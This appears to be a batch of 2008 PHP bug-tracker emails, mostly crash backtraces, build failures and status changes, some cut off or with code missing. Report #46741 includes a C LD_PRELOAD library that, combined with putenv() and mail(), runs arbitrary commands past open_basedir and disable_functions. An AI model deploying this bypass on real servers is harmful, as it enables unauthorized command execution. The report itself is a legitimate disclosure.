Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040)
error:140940E5:SSL routines:func(148):reason(229) in Command line code
on line 1
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in Command line code on
line 1
[2008-12-08 12:55:04] romanf at trash dot net
I have the same bug on two OpenSuse systems.
Both have:
# rpm -q openssl
openssl-0.9.8e-45.5
installed. I used the following config to compile this mornings
snapshot:
./configure --enable-debug --with-mysql
--with-apxs2=/usr/local/apache2/bin/apxs --with-mcrypt --with-imap
--with-imap-ssl --with-gettext --with-zlib --with-openssl
--with-pdo-mysql --enable-mbstring=all --with-gd
Did you try the get_headers() against an HTTPS-Link that -requires- a
Client-Certificate? I can reproduce this on the test-pages given in my
samples *and* in a company-intranet...
Regards
Roman
[2008-12-08 11:38:46] [EMAIL PROTECTED]
I can't reproduce this. Are you absolutely sure you're using the latest
CVS build? And also, what openssl version are you linking PHP with?
[2008-12-08 08:14:15] romanf at trash dot net
Checked with Snapshot 200812080530, same result:
-- backtrace --
[EMAIL PROTECTED]:/usr/src/php/php5.2-200812080530> gdb
/usr/local/bin/php
GNU gdb 6.6.50.20070726-cvs
Copyright (C) 2007 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "x86_64-suse-linux"...
Using host libthread_db library "/lib64/libthread_db.so.1".
(gdb) run ../client_test.php
Starting program: /usr/local/bin/php ../client_test.php
[Thread debugging using libthread_db enabled]
[New Thread 0x2b3b6c2b6310 (LWP 11655)]
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 08 Dec 2008 08:12:55 GMT
[2] => Server: Apache
[3] => X-Powered-By: PHP/5.2.9-dev
[4] => Content-Length: 136
[5] => Connection: close
[6] => Content-Type: text/html; charset=ISO-8859-1
)
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040) in
/usr/src/php/client_test.php on line 3
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in
/usr/src/php/client_test.php on line 3
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x2b3b6c2b6310 (LWP 11655)]
_zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
1973if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
(gdb) bt
#0 _zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
#1 0x006bcf37 in destroy_op_array (op_array=0xdedc00) at
/usr/src/php/php5.2-200812080530/Zend/zend_variables.h:35
#2 0x006c550c in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/src/php/php5.2-200812080530/Zend/zend.c:1171
#3 0x00682e8d in php_execute_script
(primary_file=0x7fff41852460) at
/usr/src/php/php5.2-200812080530/main/main.c:2023
#4 0x0074836b in main (argc=2, argv=0x7fff41852658) at
/usr/src/php/php5.2-200812080530/sapi/cli/php_cli.c:1133
(gdb)
The remainder of the comments for this report are too long. To view
the rest of the comments, please view the bug report online at
http://bugs.php.net/46748
--
Edit this bug report at http://bugs.php.net/?id=46748&edit=1
#46753 [Opn->Fbk]: weird crash when calling is_subclass_of under very specific conditions
ID: 46753 Updated by: [EMAIL PROTECTED] Reported By: essen at dev-extend dot eu -Status: Open +Status: Feedback Bug Type: Reproducible crash Operating System: Linux Ubuntu 8.10 PHP Version: 5.2.6 New Comment: Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ Previous Comments: [2008-12-05 00:23:16] essen at dev-extend dot eu Description: I encountered a strange crash. I can reproduce it, it always happens, but only under very specific conditions. It first happened when I changed a completely unrelated part of my code in a different file of the project. PHP crash on an is_subclass_of call. This call worked correctly before my changes, and still works correctly on the other pages. Other is_subclass_of works fine too. I'm not sure what trigger this, as I've only changed a few methods, nothing changing the outcome of the script... Another thing. If I add a require_once before the is_subclass_of call, there is no crash. The crash only happens when the class isn't defined in the current script, which should and does trigger the autoload callback to load the class. The class is successfully loaded by the callback, the crash happens only after. I'm not sure what more can I say. If you need further details, feel free to ask. Actual result: -- Core was generated by `/usr/sbin/apache2 -k start'. Program terminated with signal 11, Segmentation fault. [New process 19175] #0 0xb72c372a in is_a_impl (ht=-47466807, return_value=0xb9a602b0, return_value_ptr=0x0, this_ptr=0x0, return_value_used=1, only_subclass=1 '\001') at /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c:657 657 /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c: No such file or directory. in /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c (gdb) bt #0 0xb72c372a in is_a_impl (ht=-47466807, return_value=0xb9a602b0, return_value_ptr=0x0, this_ptr=0x0, return_value_used=1, only_subclass=1 '\001') at /build/buildd/php5-5.2.6/Zend/zend_builtin_functions.c:657 #1 0xb72ecba3 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf854fd8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:200 #2 0xb72d803b in execute (op_array=0xb9a5c364) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #3 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8552b8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #4 0xb72d803b in execute (op_array=0xb9a5bb8c) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #5 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8555c8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #6 0xb72d803b in execute (op_array=0xb99d71b0) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #7 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf855e18) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #8 0xb72d803b in execute (op_array=0xb9a17614) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #9 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856248) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #10 0xb72d803b in execute (op_array=0xb9a17d94) ---Type to continue, or q to quit--- at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #11 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf8565d8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #12 0xb72d803b in execute (op_array=0xb9a06ca0) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #13 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856a08) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #14 0xb72d803b in execute (op_array=0xb9a0d344) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #15 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856cf8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #16 0xb72d803b in execute (op_array=0xb99f1c8c) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #17 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf856ef8) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #18 0xb72d803b in execute (op_array=0xb99f2968) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #19 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf857328) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 #20 0xb72d803b in execute (op_array=0xb9a04ab4) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #21 0xb72ec466 in zend_do_fcall_common_helper_SPEC (execute_data=0xbf857568) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:234 ---Type to continue, or q to quit--- #22 0xb72d803b in execute (op_array=0xb99e5de0) at /build/buildd/php5-5.2.6/Zend/zend_vm_execute.h:92 #23 0
#46748 [Fbk->Opn]: get_headers generates segmentation fault on HTTPS with SSLVerifyClient required
ID: 46748
User updated by: romanf at trash dot net
Reported By: romanf at trash dot net
-Status: Feedback
+Status: Open
Bug Type: HTTP related
Operating System: Linux (OpenSuse 11)
PHP Version: 5.2CVS-2008-12-04 (snap)
New Comment:
I have the same bug on two OpenSuse systems.
Both have:
# rpm -q openssl
openssl-0.9.8e-45.5
installed. I used the following config to compile this mornings
snapshot:
./configure --enable-debug --with-mysql
--with-apxs2=/usr/local/apache2/bin/apxs --with-mcrypt --with-imap
--with-imap-ssl --with-gettext --with-zlib --with-openssl
--with-pdo-mysql --enable-mbstring=all --with-gd
Did you try the get_headers() against an HTTPS-Link that -requires- a
Client-Certificate? I can reproduce this on the test-pages given in my
samples *and* in a company-intranet...
Regards
Roman
Previous Comments:
[2008-12-08 11:38:46] [EMAIL PROTECTED]
I can't reproduce this. Are you absolutely sure you're using the latest
CVS build? And also, what openssl version are you linking PHP with?
[2008-12-08 08:14:15] romanf at trash dot net
Checked with Snapshot 200812080530, same result:
-- backtrace --
[EMAIL PROTECTED]:/usr/src/php/php5.2-200812080530> gdb
/usr/local/bin/php
GNU gdb 6.6.50.20070726-cvs
Copyright (C) 2007 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and
you are
welcome to change it and/or distribute copies of it under certain
conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for
details.
This GDB was configured as "x86_64-suse-linux"...
Using host libthread_db library "/lib64/libthread_db.so.1".
(gdb) run ../client_test.php
Starting program: /usr/local/bin/php ../client_test.php
[Thread debugging using libthread_db enabled]
[New Thread 0x2b3b6c2b6310 (LWP 11655)]
Array
(
[0] => HTTP/1.1 200 OK
[1] => Date: Mon, 08 Dec 2008 08:12:55 GMT
[2] => Server: Apache
[3] => X-Powered-By: PHP/5.2.9-dev
[4] => Content-Length: 136
[5] => Connection: close
[6] => Content-Type: text/html; charset=ISO-8859-1
)
Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error
messages:
error:14094410:SSL routines:func(148):reason(1040) in
/usr/src/php/client_test.php on line 3
Warning:
get_headers(https://fish-serv.dyndns.org/php_test/client_require.php):
failed to open stream: HTTP request failed! in
/usr/src/php/client_test.php on line 3
Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x2b3b6c2b6310 (LWP 11655)]
_zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
1973if (ZEND_MM_IS_FREE_BLOCK(next_block)) {
(gdb) bt
#0 _zend_mm_free_int (heap=0xc5d2b0, p=0xdefd70) at
/usr/src/php/php5.2-200812080530/Zend/zend_alloc.c:1973
#1 0x006bcf37 in destroy_op_array (op_array=0xdedc00) at
/usr/src/php/php5.2-200812080530/Zend/zend_variables.h:35
#2 0x006c550c in zend_execute_scripts (type=8, retval=0x0,
file_count=3) at /usr/src/php/php5.2-200812080530/Zend/zend.c:1171
#3 0x00682e8d in php_execute_script
(primary_file=0x7fff41852460) at
/usr/src/php/php5.2-200812080530/main/main.c:2023
#4 0x0074836b in main (argc=2, argv=0x7fff41852658) at
/usr/src/php/php5.2-200812080530/sapi/cli/php_cli.c:1133
(gdb)
[2008-12-08 02:34:08] [EMAIL PROTECTED]
This bug has been fixed in CVS.
Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.
Thank you for the report, and for helping us make PHP better.
[2008-12-07 09:36:53] [EMAIL PROTECTED]
Thank you for this bug report. To properly diagnose the problem, we
need a backtrace to see what is happening behind the scenes. To
find out how to generate a backtrace, please read
http://bugs.php.net/bugs-generating-backtrace.php for *NIX and
http://bugs.php.net/bugs-generating-backtrace-win32.php for Win32
Once you have generated a backtrace, please submit it to this bug
report and change the status back to "Open". Thank you for helping
us make PHP better.
[2008-12-04 07:39:54] romanf at trash dot net
Description:
get_headers() generates segmentation fault on HTTPS-URLs with
"SSLVerifyClient required".
Reproduce code:
---
I put up two test-pages to reproduce the bug. One (client_none.php) has
"SSLVerifyClient none" set in .htaccess, the other (client_require.php)
has "SSLVerifyClient required" set.
Use the following
#46761 [Opn->Bgs]: get_class_vars includes protected variables depending on calling context
ID: 46761
Updated by: [EMAIL PROTECTED]
Reported By: phpbug dot classvars at sub dot noloop dot net
-Status: Open
+Status: Bogus
Bug Type: Class/Object related
Operating System: Linux
PHP Version: 5.2.7
New Comment:
Thank you for taking the time to write to us, but this is not
a bug. Please double-check the documentation available at
http://www.php.net/manual/ and the instructions on how to report
a bug at http://bugs.php.net/how-to-report.php
Yes, now it's consistent. When your use get_class_vars() in that
context, the properties are available to it. No bug here.
Previous Comments:
[2008-12-05 13:46:03] phpbug dot classvars at sub dot noloop dot net
Description:
PHP 5.2.7 seems to have introduced a regression in get_class_vars();
depending on the calling context protected variables may be included in
the result.
This looks very similar to bug 45862 (which was closed in August with a
comment saying fix committed to CVS 5.2, 5.3 and HEAD).
This build (built from source from today's release) produces "actual
result":
PHP 5.2.7 (cli) (built: Dec 5 2008 12:39:40)
Copyright (c) 1997-2008 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
This build (built from source from 5.2.6 release) produces "expected
result":
PHP 5.2.6 (cli) (built: May 22 2008 10:18:33)
Copyright (c) 1997-2008 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2008 Zend Technologies
Reproduce code:
---
NULL
}
array(1) {
["v_public_sub"]=>
NULL
}
Actual result:
--
array(2) {
["v_public_sub"]=>
NULL
["v_protected"]=>
NULL
}
array(1) {
["v_public_sub"]=>
NULL
}
--
Edit this bug report at http://bugs.php.net/?id=46761&edit=1
#46785 [Opn->Fbk]: filestat.c errors
ID: 46785 Updated by: [EMAIL PROTECTED] Reported By: noadvertise at gmail dot com -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: RH Enterprise Linux 5 64bit PHP Version: 5.2.7 New Comment: Please try using this CVS snapshot: http://snaps.php.net/php5.2-latest.tar.gz For Windows: http://windows.php.net/snapshots/ Your line numbers do not match to the ones in the filestat.c included in PHP 5.2.7.. Previous Comments: [2008-12-06 16:55:21] noadvertise at gmail dot com Description: make fails filestat.c: In function 'php_disk_total_space': filestat.c:204: error: storage size of 'buf' isn't known filestat.c: In function 'php_disk_free_space': filestat.c:336: error: storage size of 'buf' isn't known make: *** [ext/standard/filestat.lo] Error 1 Reproduce code: --- standard compile #./configure (with various normal options) #make Expected result: i expect compile to finish and produce binary I can install Actual result: -- make: *** [ext/standard/filestat.lo] Error 1 -- Edit this bug report at http://bugs.php.net/?id=46785&edit=1
#46741 [Opn->Bgs]: putenv()+mail() allows for open_basedir bypass and "disabled" functionality
ID: 46741
Updated by: [EMAIL PROTECTED]
Reported By: gat3way at gat3way dot eu
-Status: Open
+Status: Bogus
Bug Type: Safe Mode/open_basedir
Operating System: Linux
PHP Version: 5.2.6
New Comment:
You should disable putenv() as well.
Previous Comments:
[2008-12-03 16:43:19] gat3way at gat3way dot eu
Description:
safe_mode is safe, but the mail() function should check environment
variables IMO.
e.g. you can putenv("LD_PRELOAD=evil_library.so"); and since mail()
calls /usr/bin/mail if your library exports function like getuid() you
can bypass open_basedir restrictions and restrictions on program
execution, etc.
If you need some more info, please contact me at:
[EMAIL PROTECTED]
Milen Rangelov
Reproduce code:
---
A PHP script:
A simple library:
#include
#include
#include
int getuid()
{
char *en;
char *buf=malloc(300);
FILE *a;
unsetenv("LD_PRELOAD");
a=fopen("/var/www/.comm","r");
buf=fgets(buf,100,a);
write(2,buf,strlen(buf));
fclose(a); remove("/var/www/.comm");
rename("/var/www/a.so","/var/www/b.so");
buf=strcat(buf," > /var/www/.comm1");
system(buf);
rename("/var/www/b.so","/var/www/a.so");
free(buf);return 0;
}
Expected result:
execute arbitrary commands even though we have:
disable_functions = dl,system,exec,passthru,shell_exec,popen
open_basedir = /var/www
Actual result:
--
The test was successful.
--
Edit this bug report at http://bugs.php.net/?id=46741&edit=1
#46747 [Opn->Bgs]: validFrom_time_t of certificate in Windows is difference with Unix system
ID: 46747 Updated by: [EMAIL PROTECTED] Reported By: hunreal at gmail dot com -Status: Open +Status: Bogus Bug Type: OpenSSL related Operating System: Windows, FreeBSD PHP Version: 5.2.6 New Comment: One of those machines has wrong timezone set. Use the date_default_timezone_set() function in your script to set the correct one in both. And check those machines' system time too. This is not a PHP bug. Previous Comments: [2008-12-04 06:27:20] hunreal at gmail dot com Description: I used openssl_x509_parse() to get certificate infomation. But the values, 'validFrom_time_t' and 'validTo_time_t' in Windows is difference with Unix system. It's same php code, same certificate file. But two result is not the same. By used openssl CLI, I am sure that is Windows PHP issue. Reproduce code: --- PHP code: Openssl CLI: openssl x509 -dates -noout -in my.cer You can use any certificate. Expected result: In windows, PHP code output, 070126220002Z 1169845202 090126033531Z 1232937331 2007-01-27 05:00:02 2009-01-26 10:35:31 -- In Unix, PHP code output, 070126220002Z 1169848802 090126033531Z 1232940931 2007-01-27 06:00:02 2009-01-26 11:35:31 -- BTW, my timezone is set to Asia/Shanghai, GMT+8 Actual result: -- OpenSSL CLI output, notBefore=Jan 26 22:00:02 2007 GMT notAfter=Jan 26 03:35:31 2009 GMT -- Edit this bug report at http://bugs.php.net/?id=46747&edit=1
#46796 [NEW]: make test: Error 137 ignored
From: isjackawesome at gmail dot com Operating system: Linux/Ubuntu 8.04 PHP version: 5.2.7 PHP Bug Type: Sockets related Bug description: make test: Error 137 ignored Description: Compiled with: ./configure with-apxs2=/usr/local/server/apache2/bin/apxs with- mysqli=/usr/local/server/mysql/bin/mysql_config enable-debug=no -- with-mcrypt=/usr/local/server/libmcrypt enable-ftp with-gd with- jpeg-dir=/usr/local with-png-dir=/usr/local with-zlib- dir=/usr/local --enable-shared --enable-static make - works no errors make test, stalls on stream_get_meta_data_socket_variation1 (3912/4619) Reproduce code: --- TEST 3912/4619 [ext/standard/tests/streams/stream_get_meta_data_socket_variationOut of memory: Killed process 4398 (php). /bin/sh: line 18: 4398 Killed TEST_PHP_EXECUTABLE=/root/downloads/php-5.2.6/sapi/cli/php TEST_PHP_SRCDIR=/root/downloads/php-5.2.6 CC="gcc" /root/downloads/php-5.2.6/sapi/cli/php -d 'open_basedir=' -d 'output_buffering=0' -d 'memory_limit=-1' /root/downloads/php-5.2.6/run-tests.php -c /root/downloads/php-5.2.6/tmp-php.ini -U -d extension_dir=/root/downloads/php-5.2.6/modules/ ` if test "x" != "x"; then for i in ""; do . $i; /root/downloads/php-5.2.6/build/shtool echo -n -- " -d extension=$dlname"; done; fi` make: [test] Error 137 (ignored) -- Edit bug report at http://bugs.php.net/?id=46796&edit=1 -- Try a CVS snapshot (PHP 5.2): http://bugs.php.net/fix.php?id=46796&r=trysnapshot52 Try a CVS snapshot (PHP 5.3): http://bugs.php.net/fix.php?id=46796&r=trysnapshot53 Try a CVS snapshot (PHP 6.0): http://bugs.php.net/fix.php?id=46796&r=trysnapshot60 Fixed in CVS: http://bugs.php.net/fix.php?id=46796&r=fixedcvs Fixed in CVS and need be documented: http://bugs.php.net/fix.php?id=46796&r=needdocs Fixed in release: http://bugs.php.net/fix.php?id=46796&r=alreadyfixed Need backtrace: http://bugs.php.net/fix.php?id=46796&r=needtrace Need Reproduce Script: http://bugs.php.net/fix.php?id=46796&r=needscript Try newer version: http://bugs.php.net/fix.php?id=46796&r=oldversion Not developer issue: http://bugs.php.net/fix.php?id=46796&r=support Expected behavior: http://bugs.php.net/fix.php?id=46796&r=notwrong Not enough info: http://bugs.php.net/fix.php?id=46796&r=notenoughinfo Submitted twice: http://bugs.php.net/fix.php?id=46796&r=submittedtwice register_globals: http://bugs.php.net/fix.php?id=46796&r=globals PHP 4 support discontinued: http://bugs.php.net/fix.php?id=46796&r=php4 Daylight Savings:http://bugs.php.net/fix.php?id=46796&r=dst IIS Stability: http://bugs.php.net/fix.php?id=46796&r=isapi Install GNU Sed: http://bugs.php.net/fix.php?id=46796&r=gnused Floating point limitations: http://bugs.php.net/fix.php?id=46796&r=float No Zend Extensions: http://bugs.php.net/fix.php?id=46796&r=nozend MySQL Configuration Error: http://bugs.php.net/fix.php?id=46796&r=mysqlcfg
#46793 [Opn->Fbk]: Make fails with mysql and GD together
ID: 46793 Updated by: [EMAIL PROTECTED] Reported By: jthomsen at cox dot net -Status: Open +Status: Feedback Bug Type: Compile Failure Operating System: Mac OS X 10.5.5 PHP Version: 5.2.7 New Comment: make clean Previous Comments: [2008-12-08 04:22:02] jthomsen at cox dot net Description: When I try to install the mySql and GD modules together, make fails. ./configure '--prefix=/usr' '--mandir=/usr/share/man' '-- infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-mysql- sock=/var/mysql' '--with-mysql=/usr/local/mysql' '--with- mysqli=/usr/local/mysql/bin/mysql_config' '--with-gd' '-with-png- dir=/sw' '--with-jpeg-dir=/sw' '--with-freetype-dir=/sw/lib/freetype2' But, I can run make successfully if I install mySql or GD: ./configure '--prefix=/usr' '--mandir=/usr/share/man' '-- infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-gd' '- with-png-dir=/sw' '--with-jpeg-dir=/sw' '--with-freetype- dir=/sw/lib/freetype2' or: ./configure '--prefix=/usr' '--mandir=/usr/share/man' '-- infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-mysql- sock=/var/mysql' '--with-mysql=/usr/local/mysql' '--with- mysqli=/usr/local/mysql/bin/mysql_config' Reproduce code: --- ./configure '--prefix=/usr' '--mandir=/usr/share/man' '--infodir=/usr/share/info' '--with-apxs2=/usr/sbin/apxs' '--with-mysql-sock=/var/mysql' '--with-mysql=/usr/local/mysql' '--with-mysqli=/usr/local/mysql/bin/mysql_config' '--with-gd' '-with-png-dir=/sw' '--with-jpeg-dir=/sw' '--with-freetype-dir=/sw/lib/freetype2' make Expected result: a successful compile Actual result: -- Undefined symbols: "_mysql_set_local_infile_handler", referenced from: _php_set_local_infile_handler_default in mysqli.o "_mysql_enable_rpl_parse", referenced from: _zif_mysqli_enable_rpl_parse in mysqli_repl.o "_mysql_server_end", referenced from: _zm_shutdown_mysql in php_mysql.o _zm_shutdown_mysqli in mysqli.o "_mysql_stmt_close", referenced from: _php_clear_stmt_bind in mysqli.o _zif_mysqli_prepare in mysqli_api.o _zif_mysqli_stmt_close in mysqli_api.o "_mysql_set_server_option", referenced from: _zif_mysqli_real_query in mysqli_api.o _zif_mysqli_multi_query in mysqli_nonapi.o _zif_mysqli_multi_query in mysqli_nonapi.o _zif_mysqli_query in mysqli_nonapi.o "_mysql_set_character_set", referenced from: _zif_mysql_set_charset in php_mysql.o _zif_mysqli_set_charset in mysqli_nonapi.o "_mysql_stmt_fetch", referenced from: _zif_mysqli_stmt_fetch in mysqli_api.o "_mysql_stmt_field_count", referenced from: _zif_mysqli_stmt_field_count in mysqli_api.o _zif_mysqli_stmt_store_result in mysqli_api.o _zif_mysqli_stmt_bind_result in mysqli_api.o _stmt_field_count_read in mysqli_prop.o "_mysql_rpl_query_type", referenced from: _zif_mysqli_rpl_query_type in mysqli_repl.o "_mysql_get_client_version", referenced from: _zif_mysqli_get_client_version in mysqli_api.o "_mysql_next_result", referenced from: _zif_mysqli_next_result in mysqli_api.o "_mysql_enable_reads_from_master", referenced from: _zif_mysqli_enable_reads_from_master in mysqli_repl.o "_mysql_stmt_errno", referenced from: _zif_mysqli_stmt_errno in mysqli_api.o _stmt_errno_read in mysqli_prop.o "_mysql_stmt_error", referenced from: _zif_mysqli_stmt_error in mysqli_api.o _stmt_error_read in mysqli_prop.o "_mysql_ssl_set", referenced from: _zif_mysqli_ssl_set in mysqli_api.o "_mysql_stmt_store_result", referenced from: _zif_mysqli_stmt_store_result in mysqli_api.o "_mysql_warning_count", referenced from: _zif_mysqli_warning_count in mysqli_api.o _link_warning_count_read in mysqli_prop.o _zif_mysqli_get_warnings in mysqli_nonapi.o _zif_mysqli_stmt_get_warnings in mysqli_nonapi.o _zim_mysqli_warning___construct in mysqli_warning.o "_mysql_stmt_init", referenced from: _zif_mysqli_stmt_construct in mysqli.o _zif_mysqli_stmt_construct in mysqli.o _zif_mysqli_prepare in mysqli_api.o _zif_mysqli_stmt_init in mysqli_api.o "_mysql_stmt_prepare", referenced from: _zif_mysqli_stmt_construct in mysqli.o _zif_mysqli_prepare in mysqli_api.o _zif_mysqli_stmt_prepare in mysqli_api.o "_mysql_stmt_sqlstate", referenced from: _zif_mysqli_stmt_sqlstate in mysqli_api.o _stmt_sqlstate_read in mysqli_prop.o "_mysql_server_init", referenced from: _zm_startup_mysql in php_mysql.o _zm_startup_mysqli in mysqli.o "_mysql_slave_query", referenced from: _zif_mysqli_slave_query in mysqli_repl.o "_mysql_autocommit", referenced from: _zif_mysqli_autocommit in mysqli_api.o "_mysql_get_server_version", referenced from
#46748 [Asn]: get_headers generates segmentation fault on HTTPS with SSLVerifyClient required
ID: 46748 Updated by: [EMAIL PROTECTED] Reported By: romanf at trash dot net Status: Assigned Bug Type: HTTP related Operating System: Linux (OpenSuse 11) PHP Version: 5.2CVS-2008-12-08 Assigned To: scottmac New Comment: I can't reproduce this on any of the branches now, though I only have x86 to test. Jani, any chance of a backtrace on HEAD? Previous Comments: [2008-12-08 13:28:50] [EMAIL PROTECTED] Scott, please clarify it and add tests :) [2008-12-08 13:22:31] [EMAIL PROTECTED] HEAD seems to crash when it tries to output the error message. [2008-12-08 13:21:37] [EMAIL PROTECTED] duh..I had a small copy-paste error. :D Reproduced with HEAD (PHP 6), PHP_5_2 and PHP_5_3 give this error, no crash: Warning: get_headers(): SSL operation failed with code 1. OpenSSL Error messages: error:14094410:SSL routines:func(148):reason(1040) error:140940E5:SSL routines:func(148):reason(229) in Command line code on line 1 Warning: get_headers(https://fish-serv.dyndns.org/php_test/client_require.php): failed to open stream: HTTP request failed! in Command line code on line 1 [2008-12-08 12:55:04] romanf at trash dot net I have the same bug on two OpenSuse systems. Both have: # rpm -q openssl openssl-0.9.8e-45.5 installed. I used the following config to compile this mornings snapshot: ./configure --enable-debug --with-mysql --with-apxs2=/usr/local/apache2/bin/apxs --with-mcrypt --with-imap --with-imap-ssl --with-gettext --with-zlib --with-openssl --with-pdo-mysql --enable-mbstring=all --with-gd Did you try the get_headers() against an HTTPS-Link that -requires- a Client-Certificate? I can reproduce this on the test-pages given in my samples *and* in a company-intranet... Regards Roman [2008-12-08 11:38:46] [EMAIL PROTECTED] I can't reproduce this. Are you absolutely sure you're using the latest CVS build? And also, what openssl version are you linking PHP with? The remainder of the comments for this report are too long. To view the rest of the comments, please view the bug report online at http://bugs.php.net/46748 -- Edit this bug report at http://bugs.php.net/?id=46748&edit=1
#46719 [Opn->Fbk]: configure option for default MySQL socket not working
ID: 46719 Updated by: [EMAIL PROTECTED] Reported By: martijn at mindconnect dot nl -Status: Open +Status: Feedback Bug Type: MySQL related Operating System: Gentoo Linux PHP Version: 5.2.6 New Comment: Is there by any chance some file called that in /tmp ? Previous Comments: [2008-11-29 16:09:40] martijn at mindconnect dot nl Description: Configure ran with option --with-mysql-sock=/var/run/mysqld/mysqld.sock. After compiling, phpinfo(); displayed this configure option correctly, but a few pages down it sais: MYSQL_SOCKET: /tmp/mysql.sock The socket /var/run/mysqld/mysqld.sock exists and works perfectly as I have another PHP-version on the same machine using it without any trouble. MySQL version is 5.1.30. Notice: the configure options where generated by a Gentoo ebuild (v5.2.6-pl7-gentoo). Other configure options where taken into account without problems. Although it's not impossible that the ebuild has a bug that causes this problem, I was unable to find anything that could cause this particular problem in the php-5 ebuild and in gentoo's bugzilla. Earlier ebuilds didn't show this problem. Since it's unclear where the problem is I decided to start as upstream as possible. Reproduce code: --- A full list of all used configure options is here: http://woei.mindcontrolled.nl/temp/php5.2.6-options.txt Expected result: I expected the default socket to be /var/run/mysqld/mysqld.sock instead of /tmp/mysql.sock. Temporary fix: I used mysql.default_socket in the php.ini. Actual result: -- After compiling, phpinfo(); displays: "MYSQL_SOCKET: /tmp/mysql.sock" -- Edit this bug report at http://bugs.php.net/?id=46719&edit=1
#46745 [Opn->Fbk]: Multipart/form-data field names truncated at semicolon in certain cases
ID: 46745 Updated by: [EMAIL PROTECTED] Reported By: david at sickmiller dot com -Status: Open +Status: Feedback Bug Type: HTTP related Operating System: Linux PHP Version: 5.2.6 New Comment: Eh..what's the actual bug here? If you pass crap to PHP, you get crap back. Previous Comments: [2008-12-03 21:54:47] david at sickmiller dot com Description: When a form is submitted using multipart-/form-data enctype, PHP will truncate field names if they contain semicolons and certain other characters. It seems to happen when there is an uneven number of quotation marks that precede the semicolon. Reproduce code: --- Expected result: Array ( [before_;_after] => ["_before_;_after] => ['_before_;_after] => ['_'_before_;_after] => ['_"_before_;_after] => ["_'_before_;_after] => ["_"_before_;_after] => ["_'_'_before_;_after] => ["_'_"_before_;_after] => ["_"_'_before_;_after] => ["_"_"_before_;_after] => ['_'_'_before_;_after] => ['_'_"_before_;_after] => ['_"_'_before_;_after] => ['_"_"_before_;_after] => ) Actual result: -- Array ( [before_;_after] => ["_before_] => ['_before_;_after] => ['_'_before_;_after] => ['_"_before_] => ["_'_before_;_after] => ["_"_before_;_after] => ["_'_'_before_] => ["_'_"_before_;_after] => ["_"_'_before_;_after] => ["_"_"_before_] => ['_'_'_before_;_after] => ['_'_"_before_] => ['_"_'_before_;_after] => ['_"_"_before_;_after] => ) -- Edit this bug report at 